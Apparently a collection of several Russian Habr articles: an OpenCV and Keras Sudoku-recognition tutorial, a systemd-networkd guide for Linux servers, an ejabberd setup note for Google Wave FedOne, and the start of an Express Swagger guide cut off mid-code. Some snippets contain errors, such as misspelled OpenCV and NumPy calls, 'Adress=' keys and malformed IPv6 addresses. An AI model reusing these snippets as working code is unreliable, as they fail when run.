> Игровое поле представляет собой квадрат размером 9×9, разделённый на меньшие квадраты со стороной в 3 клетки. Таким образом, всё игровое поле состоит из 81 клетки. В них уже в начале игры стоят некоторые числа (от 1 до 9), называемые подсказками. От игрока требуется заполнить свободные клетки цифрами от 1 до 9 так, чтобы в каждой строке, в каждом столбце и в каждом малом квадрате 3×3 каждая цифра встречалась бы только один раз. Сложность судоку зависит от количества изначально заполненных клеток и от методов, которые нужно применять для её решения. Самые простые решаются дедуктивно: всегда есть хотя бы одна клетка, куда подходит только одно число. Некоторые головоломки можно решить за несколько минут, на другие можно потратить часы.
>
>
>
> Правильно составленная головоломка имеет только одно решение. Тем не менее, на некоторых сайтах в интернете под видом усложнённых головоломок пользователю предлагаются варианты судоку с несколькими вариантами решения, а также с ветвлениями самого хода решения.
Как я понял, задача [обобщённого судоку](https://ru.wikipedia.org/wiki/%D0%9E%D0%B1%D0%BE%D0%B1%D1%89%D1%91%D0%BD%D0%BD%D0%BE%D0%B5_%D1%81%D1%83%D0%B4%D0%BE%D0%BA%D1%83) на поле N2 \* N2 является [NP-полной](https://ru.wikipedia.org/wiki/NP-%D0%BF%D0%BE%D0%BB%D0%BD%D0%B0%D1%8F_%D0%B7%D0%B0%D0%B4%D0%B0%D1%87%D0%B0), так как к ней сводится задача о заполнении латинского квадрата.
Количество различных судоку классического размера 9×9 с однозначным решением равно 6670903752021073000000 (последовательность [A107739](https://oeis.org/A107739) в [OEIS](https://ru.wikipedia.org/wiki/%D0%9E%D0%BD%D0%BB%D0%B0%D0%B9%D0%BD-%D1%8D%D0%BD%D1%86%D0%B8%D0%BA%D0%BB%D0%BE%D0%BF%D0%B5%D0%B4%D0%B8%D1%8F_%D1%86%D0%B5%D0%BB%D0%BE%D1%87%D0%B8%D1%81%D0%BB%D0%B5%D0%BD%D0%BD%D1%8B%D1%85_%D0%BF%D0%BE%D1%81%D0%BB%D0%B5%D0%B4%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%BE%D1%81%D1%82%D0%B5%D0%B9)) — данные взяты из Википедии, или примерно 6.67 х 1021. Однако если считать одинаковыми те судоку, которые получаются друг из друга с помощью поворотов, отражений и перенумерации, то это количество уменьшается до 5 472 730 538 (последовательность [A107739](https://oeis.org/A107739) в [OEIS](https://ru.wikipedia.org/wiki/%D0%9E%D0%BD%D0%BB%D0%B0%D0%B9%D0%BD-%D1%8D%D0%BD%D1%86%D0%B8%D0%BA%D0%BB%D0%BE%D0%BF%D0%B5%D0%B4%D0%B8%D1%8F_%D1%86%D0%B5%D0%BB%D0%BE%D1%87%D0%B8%D1%81%D0%BB%D0%B5%D0%BD%D0%BD%D1%8B%D1%85_%D0%BF%D0%BE%D1%81%D0%BB%D0%B5%D0%B4%D0%BE%D0%B2%D0%B0%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%BE%D1%81%D1%82%D0%B5%D0%B9)).
Долгое время оставался открытым вопрос о минимальном количестве подсказок, необходимых для решения судоку. В частности, не было известно, существует ли однозначно решаемый судоку с 16 подсказками. Проект распределённых вычислений Sudoku@vtaiwan на платформе BOINC занимался поиском такого. В январе 2012 года появилось доказательство того, что однозначно решаемых судоку с 16 подсказками не существует.
Итак, мы выяснили, что такое судоку и что существует по сути только 2 правила при решении этой головоломки:
1. Игровое поле можно заполнять только цифрами от 1 до 9. Существуют виды судоку, которые решают буквами или символами, но это совершенно отдельные игры со своими правилами и стратегией.
2. Цифру можно записывать лишь в том случае, если она не будет повторяться в строке, столбце и малом квадрате 3 х 3, в которых расположена пустая ячейка.
Существует множество способов решения этой головоломки, но больше всего мне понравился метод решения с помощью анализа малых квадратов. Давайте подробнее разберём именно его.
Рассмотрите каждый малый квадрат и выпишите рядом с ним все цифры, которых в нём не хватает.
Выберите одну из фигур, в которой не заполнено меньше всего ячеек. Положим, левый центральный квадрат. Там нет цифр 1, 2 и 8.
Сразу заметно, что 2 не может стоять ни в одной из свободных ячеек в верхней строке, ведь там уже есть двойка. Значит, расположение этой цифры однозначно.
Остаются только две клетки в верхней строке малого квадрата. Но 1 не может находиться в правой ячейке, поскольку уже есть во всём столбце. Поэтому ставим туда 8. Получается, для единицы доступно только одно место:
Рассмотрите следующую фигуру. Например, левую нижнюю, где не хватает трёх цифр — 7, 8 и 9. Теперь расставляем цифры в допустимые для них ячейки.
Берём 7. Она не должна стоять ни в первом, ни во втором столбце, поскольку в каждом из них уже есть семёрка. Значит, эту цифру можно вписать только в третий столбец.
Переходим к 8. Она не может находиться во втором столбце, потому что уже стоит в нём. Соответственно, единственное допустимое для этой цифры место — первый столбец.
Цифру 9 по остаточному принципу ставим в единственную свободную ячейку — в центральном втором столбце:
Пример выше взят [отсюда](https://lifehacker.ru/kak-reshat-sudoku/), там же можно посмотреть другие примеры решения судоку.
▍ Шаг 1. Начинаем работу
------------------------
Разобравшись с основной историей и теорией этой потрясающей по своей сути головоломки, приступим к работе над её решением с точки зрения кода.
В первую очередь нам понадобится поле для судоку, на котором мы сможем тестировать наш алгоритм. Я взял 4 варианта этой головоломки (разных цветов и размеров):
Для себя я выработал следующий алгоритм работы с изображениями:
1. Предварительная обработка.
2. Нахождение контуров.
3. Нахождение поля судоку.
4. Классификация цифр или банальный поиск их на игровом поле.
5. Поиск решения судоку.
6. Наложение решения на изначальное изображение.
Во-первых, нам необходимо прописать путь к изображению (моё изображение находится в папке с проектом, поэтому я пишу только его название):
```
pathImage = 'Sudoku_test_1.png' # Путь до тестового изображения
```
И вот что находится по этому пути:
Далее перейдём к подготовке изображения (смотрите комментарии к коду), но перед этим импортируем библиотеки и файлы:
```
import cv2
import numpy as np
from utlis import *
```
```
# Подготовка изображения
heightImg = 450
widthImg = 450
img = cv2.imread(pathImage) # Считываем изображение по нашему пути
img = cv2.resize(img, (widthImg, heightImg)) # Используем функцию изменения размера изображения, под необходимые нам
imgBlank = np.zeros((heightImg, widthImg, 3), np.uint8)
imgTreshold = preProcess(img) # Здесь мы используем самописную функцию из файла "utlis.py"
```
Функция preProcess():
```
# Подготовка изображения
def preProcess(img):
imgGray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) # Конвертация в оттенки серого
imgBlur = cv2.GaussianBlur(imgGray, (5, 5), 1) # Добавляем Гаусианов Блюр
imgTreshold = cv2.adaptiveTreshold(imgBlur, 255, 1, 1, 11, 2) # Добавляем адаптивный трешхолд
return imgTreshold
```
Функция stackImages():
```
def stackImages(imgArray, scale):
rows = len(imgArray)
cols = len(imgArray[0])
rowsAvailable = isinstance(imgArray[0], list)
width = imgArray[0][0].shape[1]
height = imgArray[0][0].shape[0]
if rowsAvailable:
for x in range(0, rows):
for y in range(0, cols):
imgArray[x][y] = cv2.resize(imgArray[x][y], (0, 0), None, scale, scale)
if len(imgArray[x][y].shape) == 2:
imgArray[x][y] = cv2.cvtColor(imgArray[x][y], cv2.COLOR_GRAY2BGR)
imageBlank = np.zeros((height, width, 3), np.uint8)
hor = [imageBlank]*rows
hor_con = [imageBlank]*rows
for x in range(0, rows):
hor[x] = np.hstack(imgArray[x])
hor_con[x] = np.concatenate(imgArray[x])
ver = np.vstack(hor)
ver_con = np.concatenate(hor)
else:
for x in range(0, rows):
imgArray[x] = cv2.resize(imgArray[x], (0, 0), None, scale, scale)
if len(imgArray[x].shape) == 2:
imgArray[x] = cv2.cvtColor(imgArray[x], cv2.COLOR_GRAY2BGR)
hor = np.hstack(imgArray)
hor_con = np.concatenate(imgArray)
ver = hor
return ver
```
Как видим, функция возвращает нам изображение, которое мы можем вывести следующим кодом:
```
imageArray = ([img, imgBlank, imgBlank, imgBlank], [imgBlank, imgBlank, imgBlank, imgBlank]) # Массив изображений
stackedImage = stackImages(imageArray, 1) # Функция, которую мы написали выше
cv2.imshow('Stacked Images', stackedImage) # Показ изображения
cv2.waitKey(0)
```
Интересно, что выведет весь это код? Многие функции, если что, мы написали заранее и по факту не совсем используем, но всё же они нам понадобятся в будущем. А вот что он выведет:
И это всё? Ну пока что да, но давайте всё же продолжим.
А что же у нас за imgBlank? Давайте их заменим на наше img:
```
imageArray = ([img, img, img, img], [img, img, img, img]) # Массив изображений
```
Интересный, но ожидаемый результат. Давайте продолжим!
Вернёмся к изначальному коду:
```
imageArray = ([img, imgBlank, imgBlank, imgBlank], [imgBlank, imgBlank, imgBlank, imgBlank]) # Массив изображений
```
У нас уже есть изображение, пропущенное через Treshold. Вставим его на вторую позицию:
```
imageArray = ([img, imgTreshold, imgBlank, imgBlank], [imgBlank, imgBlank, imgBlank, imgBlank]) # Массив изображений
```
И вот что получим:
Как мы видим, теперь у нас есть только контуры объектов. Это нам и нужно — нам необходимо видеть цифры и границы поля. Давайте пойдём дальше!
▍ Шаг 2. Поиск контуров
-----------------------
Здесь мы будем искать контуры нашего поля. Для этого напишем ещё немного букв, т. е. кода. Но для начала советую почитать про [поиск контуров в OpenCV](https://docs.opencv.org/3.4/d4/d73/tutorial_py_contours_begin.html).
Теперь код (смотрите комментарии, там я постарался объяснить что происходит):
```
# Шаг 2. Поиск контуров
imgContours = img.copy() # Копируем изначальное изображение для преобразований
imgBigContours = img.copy() # Копируем изначальное изображение для преобразований
# Поиск контуров на изображении, пропущенном через Treshold, с помощью метода RETR_EXTERNAL
# Затем мы используем CHAIN_APPROX_SIMPLE
contours, hierarchy = cv2.findContours(imgThreshold, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)[-2:]
cv2.drawContours(imgContours, contours, -1, (0, 255, 0), 3) # Рисуем все контуры, которые смогли зафиксировать
```
Зачем в строчке в конце стоит [-2:]:
```
contours, hierarchy = cv2.findContours(imgThreshold, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)[-2:]
```
Можно посмотреть [здесь](https://stackoverflow.com/questions/25504964/opencv-python-cv2-findcontours-valueerror-too-many-values-to-unpack) или ниже:
Теперь возьмём переменную imgContours, в которой у нас хранится изображение с обрисованными контурами, и подставим в наш вывод вместо imgBlank:
```
imageArray = ([img, imgThreshold, imgContours, imgBlank], [imgBlank, imgBlank, imgBlank, imgBlank]) # Массив изображений
```
После запуска мы получим следующую картинку с уже найденным нами контуром:
Замечание для людей, которые спросят: а почему не отображается внутренний контур? Отвечу: потому что мы специально выделяем его, чтобы «отбросить». Это можно проиллюстрировать на следующем примерах:
Как мы видим, не всегда у нас есть «чистое изображение» для работы, поэтому мы и «отсекаем» внешние контуры. Продолжим!
▍ Шаг 3. Поиск самого большого контура и использование его в качестве поля для судоку
-------------------------------------------------------------------------------------
Для этого всего нам необходимо будет написать две функции, которые помогут нам в этом.
Функция biggestContour():
```
def biggestContour(contours):
biggest = np.array([])
max_area = 0
for i in contours:
area = cv2.contourArea(i)
if area > 50:
peri = cv2.arcLength(i, True)
approx = cv2.approxPolyDP(i, 0.02 * peri, True)
if area > max_area and len(approx) == 4:
biggest = approx
max_area = area
return biggest, max_area
```
Теперь давайте напишем функцию для переупорядочивания точек для искажения перспективы. Поясняю: мы не знаем позиции точек, которые мы получаем из переменной biggest, т. е. мы не знаем, какая точка сверху, какая снизу и т. д. Именно для понимания этого мы и напишем сейчас функцию reorder():
```
def reorder(myPoints):
myPoints = myPoints.reshape((4, 2))
myPointsNew = np.zeros((4, 1, 2), dtype = np.int32)
add = myPoints.sum(1)
myPointsNew[0] = myPoints[np.argmin(add)]
myPointsNew[3] = myPoints[np.argmax(add)]
diff = np.diff(myPoints, axis = 1)
myPointsNew[1] = myPoints[np.argmin(diff)]
myPointsNew[2] = myPoints[np.argmax(diff)]
return myPointsNew
```
Суть работы функции вы можете увидеть ниже:
Теперь запишем функцию в основном файле:
```
# Шаг 3. Поиск самого большого контура и использование его в качестве поля для судоку
biggest, maxArea = biggestContour(contours) # Наша самописная функция по поиску контура
if biggest.size != 0:
biggest = reorder(biggest)
cv2.drawContours(imgBigContours, biggest, -1, (0, 0, 255), 15) # Рисуем самый большой контур
pts1 = np.float32(biggest)
pts2 =np.float32([[0, 0], [widthImg, 0], [0, heightImg], [widthImg, heightImg]]) # Подготовка "точек"
matrix = cv2.getPerspectiveTransform(pts1, pts2)
imgWarpColored = cv2.warpPerspective(img, matrix, (widthImg, heightImg))
imgDetectedDigits = imgBlank.copy()
imgWarpColored = cv2.cvtColor(imgWarpColored, cv2.COLOR_BGR2GRAY)
```
Нам остаётся заменить imgBlank в нашем выводе на imgBigContours:
```
imageArray = ([img, imgThreshold, imgContours, imgBigContours], [imgBlank, imgBlank, imgBlank, imgBlank]) # Массив изображений
```
И вот что мы получим:
Разберёмся с этой частью:
```
imgWarpColored = cv2.warpPerspective(img, matrix, (widthImg, heightImg))
imgDetectedDigits = imgBlank.copy()
#imgWarpColored = cv2.cvtColor(imgWarpColored, cv2.COLOR_BGR2GRAY)
```
Здесь «приближаем» наше поле, и если мы закомментируем последнюю строчку, предварительно вставив переменную imgWarpColored в наш код вывода:
```
imageArray = ([img, imgThreshold, imgContours, imgBigContours], [imgWarpColored, imgBlank, imgBlank, imgBlank]) # Массив изображений
```
Мы получим следующий результат (картинка будет в цвете):
А если раскомментируем, то получим следующие (картинка в оттенках серого):
▍ Шаг 4. Найдём на изображении каждую цифру
-------------------------------------------
Для этого нам понадобится на imgWarpColored выделить каждый квадрат и предсказать там цифру (если она там есть).
Для данной задачи я обучил нейронную сеть на открытых данных MNIST. О том, как я обучал и как буду дорабатывать этот проект, я выпущу отдельную статью. Пока лишь могу показать скриншоты с кодом и получившейся точностью модели (она не сильно велика, порядка 0.7).
> Сразу хочу заметить, что с распознаванием пока всё не очень хорошо, потому что я обучал на «скорую руку», сделал всего 4 эпохи обучения, вместо 10 и более, как это планировал. Блокнот в формате .ipynb вы сможете найти у меня на GitHub, на странице проекта. В дальнейшем я его обновлю, доведя модель до хорошего результата, ссылка на GitHub будет внизу. Но я надеюсь, у меня всё же получится распознать несколько цифр в этом кейсе и выдать вам минимально приемлемый результат. Ещё раз обращаю внимание, что часть с тренировкой модели распознавания цифр и интеграцией модели в проект будет в следующей статье, так как на это требуется время, а ввиду сессии у меня его нет. Прошу понять, простить и не ругаться на меня за эту ошибку.
Итак, вернёмся к коду. Нам потребуется функция splitBoxes(), чтобы разбить imgWarpColored на 81 ячейку (мы производим сплит по [горизонтали](https://numpy.org/doc/stable/reference/generated/numpy.hsplit.html) и [вертикали](https://numpy.org/doc/stable/reference/generated/numpy.vsplit.html)):
```
def splitBoxes(img):
rows = np.vsplit(img, 9)
boxes = []
for r in rows:
cols = np.hsplit(r, 9)
for box in cols:
boxes.append(box)
return boxes
```
Давайте посмотрим, как вырезались наши ячейки. Для этого нам потребуется написать:
```
cv2.imshow(boxes[9])
```
И вот что мы получим:
Как мы видим, у нас всё вырезалось правильно и ячейка видна. Хочу заметить, что размер изображения, который мы задавали в первом шаге, должен быть кратен 9, иначе компилятор выдаст нам сообщение об ошибке:
```
heightImg = 450
widthImg = 450
```
Теперь нам нужно проинициализировать модель. Для этого мы напишем простенькую функцию загрузки модели (у меня модель называется mnist.h5):
```
from tensorflow.keras.models import load_model
def initializePredictionModel():
model = load_model('mnist.h5')
return model
```
Выше мы импортируем модуль «load\_model» из tensorflow.keras.models (это может занять некоторое время, не пугайтесь).
Далее напишем функцию предсказания:
```
def getPrediciton(boxes, model):
result = []
for image in boxes:
# Подготовка изображения
img = np.asarry(image)
img = img[4:img.shape[0] - 4, 4:img.shape[1] - 4]
img = cv2.resize(img, (28, 28))
img = img / 255
img = img.reshape(1, 28, 28, 1)
# Предсказание
predictions = model.predict(img)
classIndex = np.argmax(predictions, axis = -1)
probabilityValue = np.amax(predictions)
#print(classIndex, probabilityValue)
# Сохранение результатов
if probabilityValue > 0.8:
result.append(classIndex[0])
else:
result.append(0)
return result
```
И вот что появится в итоге:
Я экспериментировал на разных вариациях судоку, поэтому числа могут отличаться от тех скриншотов, что находятся выше. Последнее предсказание сделано на следующем варианте судоку:
Как видим из изображений выше, результаты схожи. На этом моменте я столкнулся с проблемой, о которой писал ранее, а именно проблемой с моделью, поэтому я хотел бы взять для себя время на исправление этого недостатка и на этом закончить статью. В следующей статье мы допишем наш проект по распознаванию и решению судоку в реальном времени. А пока хотел бы у вас спросить, как улучшить модель распознавания чисел? Пишите в комментариях, я обязательно прочту и мы вместе доведём этот проект до хорошего результата!
А пока все файлы, которые есть на данный момент, вы можете найти [на моём GitHub](https://github.com/VolinNilov/Sudoku_Solver).
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=VolinNilov&utm_content=#4_nejronnye_seti_dlya_nachinayushhix_sudoku_solver_sudoku_chast_1) | https://habr.com/ru/post/706164/ | null | ru | null |
# Преимущества systemd-networkd на виртуальных серверах Linux
Обычно на десктопах Linux для управления сетевыми настройками используется NetworkManager, поскольку он отлично справляется со своей работой и имеет GUI фронтенды для всех популярных графических окружений. Однако на серверах Linux его использование не целесообразно: он потребляет много ресурсов. NetworkManager занимает в оперативной памяти около 20 Мб, в то время как systemd-networkd и systemd-resolvd вместе меньше 2 Мб. По этой причине, по умолчанию серверные дистрибутивы [Linux server](https://ruvds.com/linux) часто используют различные собственные демоны.
[](https://habrahabr.ru/company/ruvds/blog/309010/)
Таким образом возникает целый зоопарк скриптов и утилит: демон networking под Debian, который управляет конфигурацией сети через ifupdown, использующий файлы конфигурации хранящиеся в /etc/networking/interfaces.d и файл /etc/networking/interfaces, под CentOS network, который использует скрипты ifup и ifdown и, конечно же, свои файлы конфигурации находящиеся в /etc/sysconfig/network-scripts, netctl под ArchLinux. Всем известно, что Linux — конструктор, но почему бы такой простой и общей для самых различных систем вещи как настройка сети не иметь одинаковый вид?
Мы предлагаем начать использовать быстрый и простой демон [systemd-networkd](https://wiki.archlinux.org/index.php/systemd-networkd_(%D0%A0%D1%83%D1%81%D1%81%D0%BA%D0%B8%D0%B9)), особенно в свете того, что многие дистрибутивы уже перешли на systemd, поэтому переключение на systemd-networkd не составит труда. На текущий момент systemd-networkd может заменить собой множество утилит и поддерживает настройку сети как по DHCP (клиент и сервер) так и со статическими IP-адресами, мосты, туннели, VLANs, беспроводные сети (используя при этом wpa\_supplicant).
В статье мы рассмотрим, как активировать systemd-networkd и начать его использовать, и в чем его основные преимущества перед остальными демонами.
Запуск systemd-networkd
-----------------------
Несмотря на страсти, кипевшие вокруг внедрения [systemd](https://www.archlinux.org/packages/?name=systemd), многие популярные дистрибутивы Linux стали использовать этот менеджер служб и поставлять его по умолчанию. Поэтому, вероятно, ваша система уже содержит всё необходимое для включения systemd-networkd. Необходим systemd версии 210 и выше.
Проверить версию можно с помощью команды:
```
$ systemctl --version
```
Чтобы использовать, запустите следующие две службы и включите их работу при загрузке системы (отключив при этом другие демоны, управляющие конфигурацией сети):
```
$ systemctl enable systemd-networkd
$ systemctl start systemd-networkd
$ systemctl enable systemd-resolved
$ systemctl start systemd-resolved
```
Конфигурирование
----------------
В качестве примера переключения рассмотрим перенос конфигурации сети по умолчанию в CentOS (/etc/rc.d/init.d/network initscript) на systemd-networkd.
Полностью аналогичо переезд можно осуществить для Fedora и, с небольшими изменениями, для других дистрибутивов. Конфигурационные файлы systemd-networkd находятся в директории /etc/systemd/network. Доступны следующие типы:
* .link – описывают физические параметры каждого интерфейс: имя, MAC, MTU и другие
* .network – описывают параметры сети: IP, маршруты, DNS и другие
* .netdev – описывают виртуальные интерфейсы, мосты
Конфигурация для примера: два интерфейса со статическим IP в LAN и WAN.
```
$ ip addr
1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid\_lft forever preferred\_lft forever
inet6 ::1/128 scope host
valid\_lft forever preferred\_lft forever
2: eth0: mtu 1500 qdisc fq\_codel state UP group default qlen 1000
link/ether 04:01:40:23:1f:01 brd ff:ff:ff:ff:ff:ff
inet 188.166.46.238/18 brd 188.166.63.255 scope global eth0
valid\_lft forever preferred\_lft forever
inet6 2a03:b0c0:2:d0::69:7001/64 scope global
valid\_lft forever preferred\_lft forever
inet6 fe80::601:40ff:fe23:1f01/64 scope link
valid\_lft forever preferred\_lft forever
3: eth1: mtu 1500 qdisc fq\_codel state UP group default qlen 1000
link/ether 04:01:40:23:1f:02 brd ff:ff:ff:ff:ff:ff
inet 10.133.248.54/16 brd 10.133.255.255 scope global eth1
valid\_lft forever preferred\_lft forever
inet6 fe80::601:40ff:fe23:1f02/64 scope link
valid\_lft forever preferred\_lft forever
```
Конфигурационные файлы для CentOS (или Fedora) можно найти в директории /etc/sysconfig/network-scripts
```
$ cat /etc/sysconfig/network-scripts/ifcfg-eth0
DEVICE='eth0'
TYPE=Ethernet
BOOTPROTO=none
ONBOOT='yes'
HWADDR=04:01:40:23:1f:01
IPADDR=188.166.46.238
NETMASK=255.255.192.0
GATEWAY=188.166.0.1
NM_CONTROLLED='yes'
IPV6INIT=yes
IPV6ADDR=2A03:B0C0:0002:00D0:0000:0000:0069:7001/64
IPV6_DEFAULTGW=2A03:B0C0:0002:00D0:0000:0000:0000:0001
IPV6_AUTOCONF=no
DNS1=2001:4860:4860::8844
DNS2=2001:4860:4860::8888
DNS3=8.8.8.8
```
Необходимо создать 4 файла в директории /etc/systemd/network/
```
$ cat /etc/systemd/network/90-external.link
[Match]
MACAddress=04:01:40:23:1f:01
[Link]
Name=eth-outer
$ cat /etc/systemd/network/90-internal.link
[Match]
MACAddress=04:01:40:23:1f:02
[Link]
Name=eth-inner
$ cat eth-external.network
[Match]
Name= eth-outer
[Network]
DHCP=no
Adress=188.166.46.238/18
Adress=2A03:B0C0:0002:00D0:0000:0000:0000:0069:7001/64
Gateway=188.166.0.1
Gateway= 2A03:B0C0:0002:00D0:0000:0000:0000:0000:0001
DNS=2001:4860:4860:8844
DNS=2001:4860:4860:8888
DNS=8.8.8.8
$ cat eth-internal.network
[Match]
Name=eth-inner
[Network]
Address=10.133.248.54/16
```
Вот и всё: конфигурация сети завершена. Теперь можно перезапустить сервис:
```
systemctl restart systemd-networkd
$ networkctl
IDX LINK TYPE OPERATIONAL SETUP
1 lo loopback n/a n/a
2 eth-outer ether routable configured
3 eth-inner ether routable configured
```
Другие типы сетей:
**DHCP**
В данном примере сконфигурируем DHCP IPv4 и IPv6; IPv6 если не нужен, можно исключить.
```
$ cat /etc/systemd/network/wired-dhcp.network
[Match]
Name=eth*
[Network]
DHCP=ipv4
DHCP=ipv6
```
**Подключение типа «Мост»**
Сначала создает конфигурацию виртуального интерфейса:
```
$ cat /etc/systemd/network/bridge.netdev
[NetDev]
Name=br0
Kind=bridge
$ cat /etc/systemd/network/bridge.network
[Match]
Name=br0
[Network]
DHCP=ipv4
```
И настраиваем интерфейс для подключения:
```
$ cat /etc/systemd/network/wired.network
[Match]
Name=eth*
[Network]
Bridge=br0
```
Недостатки (не актуальны, по большому счету, для серверов)
----------------------------------------------------------
**1.** Не будет работать без systemd.
**2.** Нет ни CLI ни GUI фронтендов. И NetworkManager, и netctl не страдают таким недостатком. Например, для подключения к WiFi вам понадобится командная строка. Не совсем актуально для сервера.
**3.** Для первого подключения к WiFi необходимы root права. Однако это не совсем недостаток, так как в будущем к этой беспроводной сети подключение будет происходить автоматически.
**4.** Если быть не осторожным, то пароль от WiFi может храниться в открытом виде в истории команд. но этого можно легко избежать несколькими способами: временно отключить запись команд в историю (для bash: set +o history, set -o history), использовать shell не запоминающий историю (например dash) или просто вручную удалить пароль из истории.
Бенчмарк
--------
Тестируется скорость получения адресов по DHCP, Network manager and dnsmasq отключены.
Софт:
> — CentOS 7
>
> — kernel-3.10.0-327.28.3.el7
>
> — systemd 219
>
> — ISC DHCP client daemon and dhclient-script 4.2.5
systemd-networkd
----------------
```
$ systemctl start systemd-networkd
$ journalctl -u systemd-networkd.service
Sep 01 13:04:41 localhost systemd[1]: Starting Network Service...
Sep 01 13:04:41 localhost systemd-networkd[4085]: Enumeration completed
Sep 01 13:04:41 localhost systemd[1]: Started Network Service.
Sep 01 13:04:41 localhost systemd-networkd[4085]: eth0: DHCPv4 address 192.168.1.114/24 via 192.168.1.1
Sep 01 13:04:41 localhost systemd-networkd[4085]: eth0: Configured
```
Меньше чем за секунду.
ISC DHCP
--------
```
$ time dhclient -v eth0
Interface up - dhclient
Internet Systems Consortium DHCP Client 4.2.5
Copyright 2004-2013 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/
Listening on LPF/enp2s0/94:de:80:1a:da:af
Sending on LPF/enp2s0/94:de:80:1a:da:af
Sending on Socket/fallback
DHCPREQUEST on eth0 to 255.255.255.255 port 67 (xid=0x5b763f4d)
DHCPACK from 192.168.1.1 (xid=0x5b763f4d)
bound to 192.168.1.115 -- renewal in 20662 seconds.
real 0m2.243s
user 0m0.042s
sys 0m0.216s
```
Среднее время после нескольких попыток составило 2.5 секунд.
Заключение
----------
В виду активного использования systemd различными топовыми дистрибутивами Linux можно заключить, что, всё же, сообщество стремится к унификации основных системных функций. К ним относится, в том числе, конфигурирование сети, а systemd, в свою очередь, предлагает удобное, быстрое и функциональное решение. И пусть пока это решение сталкивается с проблемой отсутствия GUI для десктопных систем, но для [Linux серверов](https://ruvds.com/linux) оно, возможно, станет стандартом «де-факто» и заменит кучу легаси демонов и отдельных утилит. Это сделает Linux гораздо более удобным для контейнеризации и использования на виртуальных машинах.
[](https://ruvds.com/linux) | https://habr.com/ru/post/309010/ | null | ru | null |
# Установка Google Wave сервера FedOne c jabber-сервером ejabberd
В продолжение темы [об установке «волнового» демо-сервера FedOne](http://habrahabr.ru/blogs/google/65964/) публикую заметку Кирилла Агафонова. Он расскажет про свой опыт использования вместо OpenFire другого jabber-сервера.
Автор — [Кирилл Агафонов](http://groups.google.com/groups/profile?hl=ru&enc_user=8oECaxkAAACyqtgMkIllClK2plLvbuNqFEmssiLmwyaEWxy9LPEfEQ&utoken=yfav4U8AAAAEjTLpqdtTbEfcB0rhqOurvqoXaL2wwQmDiAurZereO8HJ2dmLdOWnhD39LWDbkkF4adguCZ6Q3-4L85fN6x8dks3oErNSp3RHBeov5MEidw) (группа [Google Wave Россия](http://groups.google.com/group/google-wave-russia))
Ажиотаж, который разгорелся вокруг новой технологии от Гугл, по имени Wave, коснулся и меня. Будучи весьма впечатлен презентациями, и перспективами, которые открывает эта технология, я решил пощупать вживую, что же это за волна такая. Решено — сделано. Сборы были недолгими.
В качестве джаббер-сервера я традиционно использовал ejabberd. Почему ejabberd? Непосредственно для эксперимента с волной выбор сервера не критичен, это так, но ejabberd используется мной в повседневной жизни.
Установка под ejabberd сводится к двум простым шагам:
1. Пропишите для сервиса wave FQDN
2. В конфиге ejabberd добавьте секцию вида:
`{5275, ejabberd_service, [
{access, all},
{hosts, ["FQDN вашего волновода"],
[{password, "секретное слово"}]
}
]},`
Где:
5275 — порт, на котором джаббер-сервер ждет волновод (-- xmpp\_server\_port)
FQDN вашего волновода, в моем случае wave.net-alliance.ru (-- xmpp\_component\_name + CERTIFICATE\_DOMAIN\_NAME)
«секретное слово» — секретное слово для авторизации волновода на джаббер-сервере (XMPP\_SERVER\_SECRET)
В качестве образца можете взять пример подключения транспорта в ICQ из стандартного конфигурационного файла ejabberd.
Не забудьте перезапустить ejabberd.
Данные для клиента, под которыми можно подключиться к моему серверу:
WAVE\_SERVER\_DOMAIN\_NAME=net-alliance.ru
WAVE\_SERVER\_HOSTNAME=wave.net-alliance.ru
WAVE\_SERVER\_PORT=9876
Обратите внимание на небольшую особенность — имя сервера волны wave+domainname, а имя пользователя волны name@domainname. Имя хоста не используется в имени пользователя.
Мой сервер работает круглосуточно. Есть не просит, и велика вероятность, что он будет работать долго. Периодически меня можно найти на этом сервере под аккаунтом Salvadoro@net-alliance.ru. Также это мой «позывной» в джаббере.
Лирическое отступление:
В начале этого века, когда я заинтересовался джаббер-технологиями, мне повезло встретиться в виртуальном мире с автором ejabberd — Алексеем Щепиным. Он сильно помог мне разобраться, что же это такое — джаббер, и терпеливо отвечал, на пару с ermine, на мои, мягко говоря, наивные вопросы.
На сегодняшний день ejabberd наиболее развитый сервер, поддерживающий наибольшее количество протоколов (ХЕР). На ejabberd работают крупнейшие джаббер-сервера мира.
Ознакомиться со всеми возможностями ejabberd можно на сайте проекта — <http://www.ejabberd.im>
Там же можно найти исчерпывающую информацию по установке, настройке и использованию этого замечательного сервера.
— Опубликовано также в [нашем блоге](http://google-wave-russia.blogspot.com/2009/08/fedone-c-jabber-ejabberd.html). | https://habr.com/ru/post/66483/ | null | ru | null |
# Создание самодокументирующегося сервера на Node.JS
Условия:
* валидация через Joi
* использование Typescript
* Express сервер
* SWAGGER на /api-docs
Задача: **DRY**
Решение:
--------
Для начала необходимо решить что первично: схема Joi, Swagger или TypeScript интерфейс. Эмпирическим путём установлено что первичной стоит сделать Joi.
1. Установка всех модулей на Express
------------------------------------
```
npm install --save swagger-ui-express
```
Добавить строки в app.ts (index.ts):
```
import swaggerUI = require('swagger-ui-express')
import swDocument from './openapi'
...
app.use('/api-docs',swaggerUI.serve,swaggerUI.setup(swDocument))
```
2. Создать ./openapi.ts
-----------------------
В этом файле содержится основные сведения о сервере. Создать его (как и все схемы, приведённые ниже) можно с помощью SWAGGER-утилиты. Важно выбрать при этом протокол openapi v3.0.0
Пример содержимого:
```
import {swLoginRoute} from './routes/login'
const swagger = {
openapi: '3.0.0',
info: {
title: 'Express API for Dangle',
version: '1.0.0',
description: 'The REST API for Dangle Panel service'
},
servers: [
{
url: 'http://localhost:3001',
description: 'Development server'
}
],
paths: {
...swLoginRoute
},
}
export default swagger
```
Пути забираются из роутеров через инклуды.
3. Написать спецификацию роутера
--------------------------------
В каждом роутере добавить openapi-описание
Пример **./routes/login/index.ts**:
```
import {swGetUserInfo} from './get-user-info'
import {swUpdateInfo} from './update-info'
